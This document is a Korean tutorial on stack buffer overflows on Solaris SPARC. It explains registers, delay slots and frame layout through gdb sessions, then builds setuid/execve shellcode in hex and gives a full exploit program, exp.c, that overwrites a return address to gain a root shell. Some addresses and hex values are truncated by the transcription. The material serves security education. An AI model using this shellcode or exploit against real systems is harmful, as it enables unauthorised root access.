BufferOverflow on Solaris Sparc

Size: px
Start display at page:

Download "BufferOverflow on Solaris Sparc"

Transcription

1 BufferOverflow on Solaris Sparc by Tyger 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다. 틀린부분이나추가할사항이있으면언제든지메일보내주시면감사..^^ 테스트환경 [sun]uname -a SunOS sun 5.7 Generic_ sun4u sparc SUNW,Ultra-60 [sun]gcc -v Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3/specs gcc version (release) [sun]gdb -v GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7". [sun]isainfo -kv 64-bit sparcv9 kernel modules 2. Sparc Architecture 2-1. register Sparc의레지스터는인텔과매우다른모습을가지고있다. 아래표에서보듯이 32개의 general purpose register 가있으며크게 4부분으로나뉜다. - global: 함수호출시에도값을그대로유지한다. 그러므로어떤함수에서도그값을참조할수있다. 즉 C언어에서 global 변수와비슷하다고생각하면된다. %g0는항상 0이다. 쓰기가능하지만어떤값을써도다시 0이된다. - output: 함수호출시파라미터를전달하는데쓰인다.( 인텔에선함수호출시전달되는파라미터를스택에

2 push하지만 Sparc에선 %o0 - %o5 register에들어간다. 6개이상의파라미터를전달하는경우는드물겠지만이럴경우엔스택을통해전달한다.) 함수를호출하면호출한함수의 output register는호출된함수의 input register가된다. %o6는 stack pointer의주소를 %o7은 return address를갖는다. - input: 전달된파라미터를받는데쓰인다. %i6는 frame pointer address를 %i7은 return address를갖는다. ( 나중에설명하겠지만실제 return address는 %i7의주소값 +8이된다.) - local: 함수호출시호출된함수는자신의 local register를갖는다. 이값은함수내에서만쓰이고다른곳엔영향을미치지않는다. 즉 C언어에서 local 변수와비슷하다고생각하면된다. %g0 (r00) always zero %g1 (r01) [1] temporary value %g2 (r02) [2] global 2 global %g3 (r03) [2] global 3 %g4 (r04) [2] global 4 %g5 (r05) reserved for SPARC ABI %g6 (r06) reserved for SPARC ABI %g7 (r07) reserved for SPARC ABI %o0 (r08) [3] outgoing parameter 0 / return value from callee %o1 (r09) [1] outgoing parameter 1 %o2 (r10) [1] outgoing parameter 2 out %o3 (r11) [1] outgoing parameter 3 %o4 (r12) [1] outgoing parameter 4 %o5 (r13) [1] outgoing parameter 5 %sp, %o6 (r14) [1] stack pointer %o7 (r15) [1] temporary value / address of CALL instruction %l0 (r16) [3] local 0 %l1 (r17) [3] local 1 %l2 (r18) [3] local 2 local %l3 (r19) [3] local 3 %l4 (r20) [3] local 4 %l5 (r21) [3] local 5 %l6 (r22) [3] local 6 %l7 (r23) [3] local 7 %i0 (r24) [3] incoming parameter 0 / return value to caller %i1 (r25) [3] incoming parameter 1 %i2 (r26) [3] incoming parameter 2 in %i3 (r27) [3] incoming parameter 3 %i4 (r28) [3] incoming parameter 4 %i5 (r29) [3] incoming parameter 5 %fp, %i6 (r30) [3] frame pointer %i7 (r31) [3] return address - 8

3 2-2. pipeline Sparc은성능향상을위해 pipeline을사용한다. 한 instruction이 cycle을끝마칠때까지기다리지않고바로다음 instruction을실행한다. 첫 instruction의 address는 %pc(program counter) 에저장되고다음 instruction address 는 %npc에저장된다. %pc의사이클이종료되면 %npc의사이클이 %pc로이동하고다음 instruction이 %npc로이동하는걸프로세스가종료될때까지반복한다. 하지만여기서문제가발생할수있는데, 예를들어다음 instruction을수행할려면앞선 instruction의결과값이필요한경우가있다. 하지만파이프라인에의해 2 instruction이동시에실행되므로문제가발생한다. 그래서 delay slot이생기는데다음을보자. 이건뒤에서도나올 test의 disasemble의일부이다. 0x1095c <main+24>: ld [ %o1 ], %o0 0x10960 <main+28>: call 0x10920 <copy> 0x10964 <main+32>: nop 0x10968 <main+36>: ret 중간에보면 copy 함수를호출하는데그다음 instruction도동시에실행된다. 만약그다음 instruction에서 copy 함수의결과값을필요로한다면문제가발생한다. 그러므로실행순서가바뀌게되는 call. jmpl, branch instruction 뒤에는보통어떠한동작도하지않는 nop instruction을주는데이 3 instruciton 다음에오는 instruction을 delay slot 이라한다. 또앞에서말한 return address=%i7+8에대해알아보자. copy를호출하면끝마치고 return할주소가 copy내 %i7 에들어가는데위에서보면 0x10960이들어간다. 인텔 x86과다른점이 x86에선 call 다음주소 ( 여기서본다면 0x10964) 가 return address가되는데 Sparc은다르다. 그러므로 copy를끝마치고 return하게될주소는그다음은 delay slot으로의미없는것이므로그다음인 0x10968이된다. (%i7을 AAAA 로 overwrite했는데 %pc가 0x 가되서한참을고민한적이있다.-_-) 2-3. instruction x86의 instruction 크기는 1-4바이트로제각각이지만 Sparc에선모두 4바이트로일정하다. 그러므로쉘코드도 4의배수크기가되며 nop도 4바이트이다. x86의 nop은 0x90으로 1바이트이지만 Sparc의 nop은 4바이트이므로 exploit시리턴어드레스가 nop의중간 (nop 전체의중간이아니라 4바이트중중간 ) 에떨어지면 segmentation fault 가나며쉘이안떨어지게된다. 그러므로 Sparc에서 exploit시리턴어드레스가정확히 nop 첫바이트주소를가르키도록주의해야한다. 많은 instruction이있지만버퍼오버플로우를이해하는데필요한것만알아보자.( 보다자세히알고싶으면아래참고문헌을참고하라.) - save: 예전 stack pointer를새함수에서사용할스택의 frame pointer로설정하고 8개의 input/local register 값을스택에저장한다.( 여기서호출한함수의 output register가 input register로맵핑된다.) 각레지스터의크기는 4바이트이므로, save하기전에프로세서는 64바이트공간을스택의맨위에할당한다. - restore: 가장최근의 save에의해행해졌던것들을반대로 restore한다. 즉 save와정반대의동작을한다고보면된다. - ret: %pc를 %npc(%i7+8) 로설정한다 stack structure

4 [sun]cat test.c #include "dumpcode.h" dumpcode((char *)buf,400); void copy(char *in) { char buf[256]; strcpy(buf,in); main(int argc,char *argv[]) { copy(argv[1]); [sun]gcc -o test test.c ggdb 버퍼오버플로우취약점을가진매우간단한프로그램이다. gdb 를통해 Sparc 의스택구조를살펴보자. [sun]gdb -q test (gdb) disas main Dump of assembler code for function main: 0x10944 <main>: save %sp, -112, %sp! 112바이트스택을잡고 %l*/%i* register를넣는다 0x10948 <main+4>: st %i0, [ %fp + 0x44 ]! 첫번째파라미터인 argc를 [%fp+0x44] 에넣는다. 0x1094c <main+8>: st %i1, [ %fp + 0x48 ]! 두번째파라미터인 argv를 [%fp+0x48] 에넣는다. 0x10950 <main+12>: mov 4, %o0! %o0에 4를넣는다. 0x10954 <main+16>: ld [ %fp + 0x48 ], %o2! argv를 %o2에 load 0x10958 <main+20>: add %o0, %o2, %o1! 4+%o2=argv[1] 0x1095c <main+24>: ld [ %o1 ], %o0! argv[1] address를 %o0에 load 0x10960 <main+28>: call 0x10920 <copy>! copy() call 0x10964 <main+32>: nop! delay slot 0x10968 <main+36>: ret! return 0x1096c <main+40>: restore! restore stack End of assembler dump. (gdb) b *0x10944 Breakpoint 2 at 0x10944: file test.c, line 8. (gdb) r `perl -e 'print "A"x400'` Starting program: /home/tyger/study/bof/test `perl -e 'print "A"x400'` Breakpoint 2, main (argc=0, argv=0x0) at test.c:8 8 { (gdb) i r i0 i1 i2 i3 i4 i5 fp i7

5 i0 0x0 0 i1 0x0 0 i2 0x0 0 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0xffbefb i7 0x0 0 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0x2 2 <- 첫번째파라미터인 argc=2 o1 0xffbefbc <- 두번째파라미터인 argv pointer o2 0xffbefbd <- 환경변수포인터 o3 0x20b <- **environ o4 0x0 0 o5 0x0 0 sp 0xffbefb <- 현재 (main() 호출전 ) 스택포인터 o7 0x107e <- main() 종료후 return address (gdb) x/2x $o1 0xffbefbc4: 0xffbefca4 0xffbefcba (gdb) x/s 0xffbefca4 0xffbefca4: "/home/tyger/study/bof/test" <- argv[0] (gdb) x/s 0xffbefcba 0xffbefcba: 'A' <repeats 200 times>... <- argv[1] (gdb) x/x $o2 0xffbefbd0: 0xffbefdbb <- 환경변수시작주소 (gdb) x/2s 0xffbefdbb 0xffbefdbb: "HOME=/home/tyger" 0xffbefdc9: "HOSTNAME=sun" (gdb) x/x $o3 0x20b80 <environ>: 0xffbefbd0 <- **environ, %o2 주소를갖는다. (gdb) si <- save instruction 실행 0x { (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x2 2 i1 0xffbefbc i2 0xffbefbd i3 0x20b i4 0x0 0 i5 0x0 0 fp 0xffbefb <- 예전 sp가 fp가됨. i7 0x107e (gdb) i r o0 o1 o2 o3 o4 o5 sp o7

6 o0 0x0 0 o1 0x0 0 o2 0x0 0 o3 0x0 0 o4 0x0 0 o5 0x0 0 sp 0xffbefaf <- main() 의 sp= 예전 sp-112(0x70) o7 0x0 0 (gdb) x/8wx $sp <- %l0 ~ %l7이 sp부터차례데로들어간다. 0xffbefaf0: 0x x x x %l0 0xffbefb00: 0x x x x %l7 (gdb) x/8wx $sp+32 <- %i0 ~ %i7이그다음에들어간다. 0xffbefb10: 0x xffbefbc4 0xffbefbd0 0x00020b80 %i0 0xffbefb20: 0x x xffbefb60 0x000107e8 %fp ret-8 save instruction(save %sp, -112, %sp) 을실행하니예전 sp(stack pointer) 를 fp(frame pointer) 로만들고 main() 에서사용하기위해스택공간을 112바이트만큼잡고 sp부터차례데로 %l* 와 %i* 레지스터가들어감을볼수있다. 여기서 %fp(%i6) 는 main() 의 fp 주소를갖고있으며 %i7은 main() 종료후 return할 ret address-8 주소를갖는다. ret-8에대해더자세히알아보면 main() 은 _start() 에의해 call되는데바로 main() 을 call할때의주소가바로 %i7 에담긴 0x000107e8이다. call instruction이후엔 delay slot이들어가므로, main() 종료후 retrurn address는 0x000107e8+8이된다. (gdb) x/2x $fp+0x44 0xffbefba4: 0x x (gdb) si <- st %i0, [ %fp + 0x44 ] 실행 0x1094c in main (argc=0, argv=0xffbefb60) at test.c:8 8 { (gdb) x/2x $fp+0x44 0xffbefba4: 0x x <- argc=2가 [%fp+0x44] 에저장되있음. (gdb) si <- st %i1, [ %fp + 0x48 ] 실행 main (argc=2, argv=0xffbefbc4) at test.c:9 9 copy(argv[1]); (gdb) x/2x $fp+0x44 0xffbefba4: 0x xffbefbc4 <- *argv[] 의주소가 [%fp+0x48] 에저장되있음. (gdb) x/112x $fp 0xffbefb60: 0x xffbefbc4 0x x main()'fp=_start()'sp

7 0xffbefb70: 0x x x x xffbefb80: 0x x x x xffbefb90: 0x x x x xffbefba0: 0x x xffbefbc4 0x ^^^^^^^ ^^^^^^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(snip) _start() 의 %l* 와 %i* register 가들어가있는 64 바이트 +struct pointer 4 바이트이후에 main() 에전달해줄파라미터 값이들어가있는걸볼수있다. (gdb) b *main+28 Breakpoint 2 at 0x10960: file test.c, line 9. (gdb) i r o7 o7 0x0 0 (gdb) si 0x copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x1095c 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si Breakpoint 2, 0x10960 in main (argc=2, argv=0xffbefbc4) at test.c:9 9 copy(argv[1]); (gdb) i r o7 o7 0x0 0 (gdb) si 0x copy(argv[1]); (gdb) i r o7 o7 0x <- %o7이 call <copy> 주소인 0x10960으로바뀜. copy() 의 save instruction 이후이값은 copy() 스택의 %i7위치에들어가며 copy() 종료후 ret 주소는 0x 이됨.(call <copy> 이후 nop instruction은 delay slot으로들어간것이므로그다음인 0x10968 <main+36>: ret 으로 return하게된다. 그러므로 copy() 의 return address는 %i7+8이되는것이다.) (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 i0 0x0 0

8 i1 0x0 0 i2 0x0 0 i3 0x0 0 i4 0x0 0 i5 0x0 0 fp 0xffbefb i7 0x0 0 (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0x2 2 o1 0xffbefbc o2 0xffbefbd o3 0x20b o4 0x0 0 o5 0x0 0 sp 0xffbefb o7 0x107e (gdb) disas copy Dump of assembler code for function copy: 0x10920 <copy>: save %sp, -368, %sp 0x10924 <copy+4>: st %i0, [ %fp + 0x44 ] 0x10928 <copy+8>: add %fp, -272, %o1 0x1092c <copy+12>: mov %o1, %o0 0x10930 <copy+16>: ld [ %fp + 0x44 ], %o1 0x10934 <copy+20>: call 0x20a94 <strcpy> 0x10938 <copy+24>: nop 0x1093c <copy+28>: ret 0x10940 <copy+32>: restore End of assembler dump. (gdb) i r pc pc 0x <- nop instruction(delay slot). pipeline에의해바로 copy() 로실행흐름이바뀌지않고 nop instruction을실행함을알수있다. 즉, call 실행후바로그다음 instruction을실행 (gdb) si copy (in=0x0) at test.c:2 2 { (gdb) i r pc pc 0x <- 드디어 copy() 로실행흐름이바뀜. (gdb) i r o0 o1 o2 o3 o4 o5 sp o7 o0 0xffbefcba o1 0xffbefbc o2 0xffbefbc o3 0x0 0

9 o4 0x0 0 o5 0x0 0 sp 0xffbefaf <- main() 의 sp, save %sp, -368, %sp를위해필요함. o7 0x (gdb) i r i0 i1 i2 i3 i4 i5 fp i7 <- main() 의 %o* 이 copy() 의 %i* 으로바뀐걸알수있다. i0 0x2 2 i1 0xffbefbc i2 0xffbefbd i3 0x20b i4 0x0 0 i5 0x0 0 fp 0xffbefaf <- main() 의 sp가 copy() 의 fp가됨. i7 0x107e <- copy() 의 ret-8 (gdb) b *(copy+28) Breakpoint 1 at 0x1093c: file test.c, line 5. (gdb) x/96x $sp 0xffbef8f0: 0x00020b54 0x x x %l0 0xffbef900: 0x x x x00020a08 %l7 0xffbef910: 0xffbefc2a 0xffbefb38 0xffbefb34 0x %i0 0xffbef920: 0xff xff2a01c0 0xffbefa60 0x %fp %i7 0xffbef930: 0x x x x xffbef940: 0x xffffffff 0xff3b0000 0xffbeffd6 0xffbef950: 0x x x x buf[0] buf[1] 0xffbef960: 0x x x x xffbef970: 0x x x x xffbef980: 0x x x x xffbef990: 0x x x x xffbef9a0: 0x x x x xffbef9b0: 0x x x x xffbef9c0: 0x x x x xffbef9d0: 0x x x x xffbef9e0: 0x x x x xffbef9f0: 0x x x x xffbefa00: 0x x x x xffbefa10: 0x x x x xffbefa20: 0x x x x xffbefa30: 0x x x x

10 0xffbefa40: 0x x x x xffbefa50: 0x x x x xffbefa60: 0x x x x copy()'s fp=main()'fp (gdb) 0xffbefa70: 0x x x x xffbefa80: 0x x x x xffbefa90: 0x x x x ^^^^^^^<-main() 의ret overwrite buf[] 에서 336바이트를덮어씌우니 main() 의 ret( 실제론 ret-8) 가 overwrite 되었다 여기서유심히살펴본사람은한가지중요한점을발견했을것이다. copy() 의 ret가저장되는주소가 buf[] 의주 소보다낮은주소에위치한다는것이다. 즉 copy() 내의 buf[] 를 overflow시켜도 copy() 의 ret를바꿀수가없다!!! 그러므로한함수로만이뤄졌다던가호출한함수에우리가오버플로우시킬공간이없다면 Sparc에선버퍼오버플로 우가불가능하다.( 정확히말해서오버플로우는가능할지라도 return address를 overwrite할수가없다.) 즉, 다음과같은프로그램은오버플로우취약점을갖고있고 x86에선오버플로우가가능하지만 Sparc에선불가능하 다. int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); 위의결과를토대로스택구조를그려보자. low address high address %l0 %l7 %i0 %i5 %i6 (%fp) %i7 (ret) struct pointer outgoing parameter padding local variable temporary sp 32byte n*8 16 fp 위의 main() 함수에서보면아무런것도하지않고단지 copy() 만 call했는데도 112바이트의스택공간을잡는걸볼수있다.(save %sp, -112, %sp) save instruction은최소 112바이트를할당하는것같다 (?). 앞에서도말했듯이 save instruction은함수내에서사용될 local/input register를위해 64바이트를할당한다.( ) 여기서 %i6는 frame pointer 주소를 %i7은 return address-8의주소를갖는다. 그다음 4바이트는 return시 structure pointer이며그다음 24바이트는전달해줄 6개의파라미터가들어간다. 전달해줄파라미터가없음에도불구하고항상 24바이트를할당한다. 6개이상일경우엔 4바이트단위로추가로할당된다. 마지막의 16바이트는컴파일러가임시로쓰는공간이다. 여기까지를모두합하면 =108바이트이다. 그런데 Sparc에선 8바이트정렬을하므로 4바이트의 padding이들어간다.(112%8=0) 또한 local 변수를위한공간도 8 바이트단위로할당된다. 그러므로char buf[12]; 로 12바이트를잡았더라도실제스택엔 16바이트가할당된다. 이제쉘코드를만들어보자.

11 3. Shellcode [sun]cat shell.c #include <stdio.h> main() { char *sh[2]; sh[0]="/bin/sh"; sh[1]=null; execve(sh[0],sh,null); [sun]gcc -ggdb -static -o shell shell.c [sun]gdb -q shell (gdb) disas main Dump of assembler code for function main: 0x10208 <main>: save %sp, -120, %sp 0x1020c <main+4>: sethi %hi(0x16800), %o1 0x10210 <main+8>: or %o1, 0x110, %o0! 0x16910 <_lib_version+8> 0x10214 <main+12>: st %o0, [ %fp ] 0x10218 <main+16>: clr [ %fp ] 0x1021c <main+20>: add %fp, -24, %o1 0x10220 <main+24>: ld [ %fp ], %o0 0x10224 <main+28>: clr %o2 0x10228 <main+32>: call 0x10320 <execve> 0x1022c <main+36>: nop 0x10230 <main+40>: ret 0x10234 <main+44>: restore End of assembler dump. (gdb) disas execve Dump of assembler code for function execve: 0x10320 <execve>: mov 0x3b, %g1 0x10324 <execve+4>: ta 8 0x10328 <execve+8>: bcc 0x1033c <_exit> 0x1032c <execve+12>: sethi %hi(0x15400), %o5 0x10330 <execve+16>: or %o5, 0x20c, %o5! 0x1560c <_cerror> 0x10334 <execve+20>: jmp %o5 0x10338 <execve+24>: nop End of assembler dump. (gdb) sparc assembly를처음접한다면다소생소할것이므로 sparc assembly와친해질겸대충설명해보자.

12 0x10208 <main>: save %sp, -120, %sp stack frame 을잡아주는부분이다. main 에서 120 바이트의스택을잡아주고있다. 0x1020c <main+4>: sethi %hi(0x16800), %o1 sethi는주소를지정할때주로쓰이는명령인데, 전체 32비트의내용중에서상위 22비트를지정한다. 위명령에의해서 %o1 레지스터에 0x 값이저장된다. sethi명령으로는상위 22비트밖에지정할수없기때문에바로다음에 or 명령으로추가하는것이보통이다. 0x10210 <main+8>: or %o1, 0x110, %o0! 0x16910 <_lib_version+8> or 명령은말그대로 OR 연산을하는명령어이다. sparc assembly에서세인자를가지면첫번째, 두번째인자는계산되는값이되고, 마지막인자에저장하는형태를갖는다. 그러므로위의연산은위에서 sethi로 22비트를받아놓은 %o1 레지스터의값에 0x110과 or 연산을해서 %o0 레지스터에저장하는것이다. 즉 0x x110=0x16910이 %o0 레지스터에들어가게된다. 0x10214 <main+12>: st %o0, [ %fp ] st instruction은레지스터에있는값을메모리에저장해주는명령으로 %o0 레지스터에있는값 (0x16910) 을 %fp(frame pointer) 레지스터로부터 -24만큼떨어진곳에저장한다. 0x10218 <main+16>: clr [ %fp ] clr 명령은 0으로리셋하는명령으로 %fp 레지스터로부터 20 떨어진곳을 0으로만든다. 0x1021c <main+20>: add %fp, -24, %o1 %fp 레지스터에있는값에서 24를뺀값을 %o1 레지스터에저장한다. 0x10220 <main+24>: ld [ %fp ], %o0 ld instruction은메모리에있는값을레지스터에저장해주는명령으로, 위에서 fp-24 위치에넣어두었던값 0x16910을 %o0 레지스터에로딩한다. 0x10224 <main+28>: clr %o2 %o2 레지스터를 0으로리셋한다. 여기까지보면 0x16910 이주소에는 /bin/sh 이라는문자열이있고 (gdb) x/s 0x x16910 <_lib_version+8>: "/bin/sh" 이주소를 %fp-24에넣어줬으므로 %o0에는 %fp-24가가리키는값이들어가고 %o1에는 %fp-24의주소값이들어가고 %o2에는 NULL이들어가게된다. execve(sh[0],sh,null); 의 3인자가각각 %o0,%o1,%o2에들어가는셈이된다. 0x10228 <main+32>: execve 함수를호출한다. call 0x10320 <execve> 이제 execve code 를살펴보자.

13 0x10320 <execve>: mov 0x3b, %g1 0x10324 <execve+4>: ta 8 이부분이 execve의핵심이다. %g1 레지스터에 0x3b 값을넣고 ta 8로 system trap을호출한다. 리눅스 x86쉘코드를만들때보면 %eax 레지스터에시스템콜넘버를넣고 int $0x80으로 system trap을하는데이와매우유사하다. 0x3b는 10진수로 59이고 execve의시스템콜넘버이다. ( 시스템콜은 /usr/include/sys/syscall.h 참고 ) 이제필요한설명은다끝났다. %o0에 /bin/sh 0 의포인터를넣어주고 %o1에는이문자열에대한포인터의포인터를넣어주고 %o2에는 null을 %g1에는 0x3b를넣어주면된다. 이과정대로쉘코드를만들어보자. [sun]cat asmsh.c main() { asm (" set 0x2f62696e,%l0 set 0x2f736800,%l1 sub %sp,16,%o0 sub %sp,8,%o1 xor %o2,%o2,%o2 std %l0,[%sp-16] st %o0,[%sp-8] st %g0,[%sp-4] mov 59,%g1 ta 8 "); 한줄씩살펴보자. 위의 2줄은 0x2f6269( /bin ) 을 %l0 레지스터에, 0x2f736800( /sh 0 ) 를 %l1 레지스터에넣는다. %sp에서 16을뺀값을 %o0에넣는다. 이것은나중에 /bin/sh 0 를가르키게된다. %sp에서 8을뺀값을 %o1에넣는다. 이것은나중에 /bin/sh 0 포인터의포인터가된다. %o2에 0이들어간다. std instruction은 double word만큼레지스터의값을메모리에저장한다. 그러므로 %l0와 %l1에있는값 /bin/sh 0 가 %sp-16 위치에들어간다. 이위치는 %o0에들어가있는주소이므로결국위에서말한데로 %o0는 /bin/sh 0 를가르키게된다. %o0의값을 %sp-8 위치에저장한다. 그러므로 %o1은 /bin/sh 0 포인터의포인터가된다. %g0의값을 %sp-4 위치에저장한다. 앞의레지스터부분에서설명했듯이 %g0는항상 0값을가진다. 그러므로 %sp-4에 0이들어간다. 이것은 clr [%sp-4] 와같다. 둘중어떤것을써도상관없다. 이것으로쉘코드가완성되었다. 하지만쉘코드를만들어본사람은 setuid(0) 를추가해야된다는걸알것이다. 솔라리스에서도 setuid(0) 를추가하지않으면자기자신의쉘이떨어진다. 위에서자세히설명했으니바로만들어보자. xor %o1,%o1,%o0 mov 23,%g1 ta 8 여기서한가지주의할점은 %o0에 0을넣어야하는데 xor %o0,%o0,%o0를하면안된다. 어짜피 %o0에 0이들어

14 가긴하지만나중에머신코드를뽑아보면 0이들어가게된다. 쉘코드에 0이들어가면안된다는건모두잘알것이다. 자. 이제드디어쉘코드가모두완성되었다. 머신코드를뽑아서잘동작하나테스트해보자. [sun]cat code.c #include<stdio.h> char sh[]= /* size: 56bytes */ /* setuid(0) */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a xa0 x14 x21 x6e" " x23 x0b xdc xda x90 x23 xa0 x10" " x92 x23 xa0 x08 x94 x1a x80 x0a" " xe0 x3b xbf xf0 xd0 x23 xbf xf8" " xc0 x23 xbf xfc x82 x10 x20 x3b" " x91 xd0 x20 x08"; main() { void(*f)()=(void *)sh; printf("size: %d bytes n",strlen(sh)); f(); [sun]gcc -o code code.c [sun]chmod u+s code [sun]./code size: 56 bytes # id uid=0(root) gid=5(tyger) 잘작동하는것같다. 이제실제익스플로잇을해보자. 4. exploit 앞에서도나왔던 test.c에 dumpcode를추가하고 exploit해보자. x86에서의익스플로잇과다른몇가지만주의하면개념자체는똑같다. NOP과 shellcode를주고 ret가들어가있는 %i7에 NOP이있는주소로덮어씌우면될것이다. 이걸그림으로도식화해보면다음과같을것이다.

15 buffer.. %l0-%l7 %i0 - %i NOPNOP...SHELLCODE RET... RET ^ \ / 만약 buffer가너무작다면다음의 2가지방법이있다 buffer. %l0-%l7 %i0 - %i RET... RET... RET NOPNOP...SHELLCODE ^ \ / 또는에그쉘처럼환경변수영역을이용하는것이다 buffer.. %l0-%l7 %i0 - %i7 환경변수영역 RET... RET... RET NOPNOP...SHELLCODE ^ \ / 여기서는버퍼의크기가충분하므로일반적인첫번째방법을사용하기로한다. [sun]cat test.c #include dumpcode.h void copy(char *in) { char buf[256]; strcpy(buf,in); dumpcode((char *)buf,400); main(int argc,char *argv[]) { copy(argv[1]);

16 [sun]cat exp.c #include <stdio.h> #include <stdlib.h> #define BSIZE 336 char sh[]= /* 56bytes */ /* setuid(0); */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a" /* sethi %hi(0x2f626800), %l0 */ " xa0 x14 x21 x6e" /* or %l0, 0x16e, %l0! 0x2f62696e */ " x23 x0b xdc xda" /* sethi %hi(0x2f736800), %l1 */ " x90 x23 xa0 x10" /* sub %sp, 16, %o0 */ " x92 x23 xa0 x08" /* sub %sp, 8, %o1 */ " x94 x1b x80 x0e" /* xor %sp, %sp, %o2 */ " xe0 x3b xbf xf0" /* std %l0, [%sp - 16] */ " xd0 x23 xbf xf8" /* st %o0, [%sp - 8] */ " xc0 x23 xbf xfc" /* st %g0, [%sp - 4] */ " x82 x10 x20 x3b" /* mov 59, %g1 59 = SYS_execve() */ " x91 xd0 x20 x08" /* ta 8 */ ; /* get current stack point address to guess our shellcode location */ unsigned long get_sp(void) { asm ("mov %sp,%i0"); int main(int argc,char *argv[]) { int i; char buf[bsize]; unsigned long addr,sp,*ptr; unsigned long nop=0xaa1d4015; // xor %l5,%l5,%l5 addr=sp=get_sp(); printf("stack Pointer: %lx n",sp); if(argv[1]) {

17 addr+=strtoul(argv[1],(void *)0,16); printf("code location: %lx n",addr); bzero(buf,bsize); for(i=0;i<bsize-strlen(sh)-8;i+=4) { memcpy(buf+i,&nop,4); memcpy((buf+bsize-strlen(sh)-8),sh,strlen(sh)); ptr=(unsigned long *)&(buf[bsize-8]); *ptr++=sp; *ptr++=addr; execl("./test","test",buf,null); 은앞선스택구조에서살펴보았듯이 buf[] 에서정확히 336바이트를채우면 main() 의 ret가덮어씌워진다는걸다들잘알것이다. 또한앞서도말했듯이 Sparc은 big endian 이므로아래덤프된내용을보면알겠지만메모리에들어갈때순서가바뀌지않는다. 즉 x86에서익스플로잇시에는덮어씌울리턴어드레스의순서를바꿔서넣주었지만 Sparc에선그럴필요가없다. 그럼 x86 리눅스에서버퍼오버플로우익스플로잇을할때와다른점몇가지를살펴보자. * buf[] 의위치를모르기때문에 stack pointer+/-offset을해서대략위치를찍는다는건모두잘알것이다. Sparc 에선다음과같이 stack pointer를구한다. unsigned long get_sp(void) { asm ("mov %sp,%i0"); 참고로아키텍쳐에따라이주소는달라진다. - sun4u: 0xffbe. - sun4m: 0xefff. - sun4d: 0xdfff. * Sparc에서 nop instruction은 0x 이다. 하지만이값은 strcpy() 등에서짤리게되므로사용할수가없다. 다른형태의 nop이필요한데 0x00이끼어있지않으면서값을바꾸지않는 instruction이기만하면된다. 여러가지방법으로만들수가있는데위에서는 xor %l5,%l5,%l5를 nop으로잡았다. 쉘코드수행에영향을미치지않는다면어떤것을사용해도상관없다.

18 * 위의 exploit에서보면 main() 의 %fp가들어가는곳에위에서구한 %sp의주소값을넣주는걸볼수있다.( *ptr++=sp;) 앞에서도말했듯이 Sparc은파이프라인을사용하므로 ret와동시에 restore instruction이실행된다. ret가 %pc를바꾸기전에 restore가실행되므로 (%pc를바꾼후실행된다면 restore 전에쉘코드가실행되므로이부분은필요없지만..) restore 실행시 %fp에있는주소값이우리가쓸수없는곳 ( 만약 *ptr++=sp; 를않해주면 %fp에는쉘코드의끝 4바이트인 " x91 xd0 x20 x08" 이들어갈것이고이주소는우리가쓸수없는영역이다.) 이라면쉘코드가실행되기전에 segmentation fault가나며종료될것이다.( 앞에서설명한 restore instruction 의동작을잘생각해보면알것이다.) 그러므로 %fp에쓰기가능한주소값을줘야하는데스택공간이나기타쓰기가능한영역의주소값을주면된다. 여기서는 get_sp() 로구한 stack pointer address를주었다. 이제잘동작하는지실행해보자. [sun]./exp Stack Pointer: ffbefa60 Code location: ffbefa60 0xffbef9d0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbef9e0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbef9f0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa00 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa10 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa20 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa30 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa40 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa50 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa60 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa70 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa80 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefa90 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefaa0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefab0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefac0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefad0 aa 1d aa 1d aa 1d aa 1d @...@...@...@. 0xffbefae0 90 1a d b d8 9a..@ !... 0xffbefaf0 a e 23 0b dc da a a0 08..!n#...#...#.. 0xffbefb b 80 0e e0 3b bf f0 d0 23 bf f8 c0 23 bf fc...;...#...#.. 0xffbefb b 91 d ff be fa 60 ff be fa 60.. ;.....`...` 0xffbefb ff be fc 99 ff be fb P...T 0xffbefb ff be fb b ff be fb c0... 0xffbefb ff be fc xffbefb ff be fb b # id uid=0(root) gid=130(tyger)

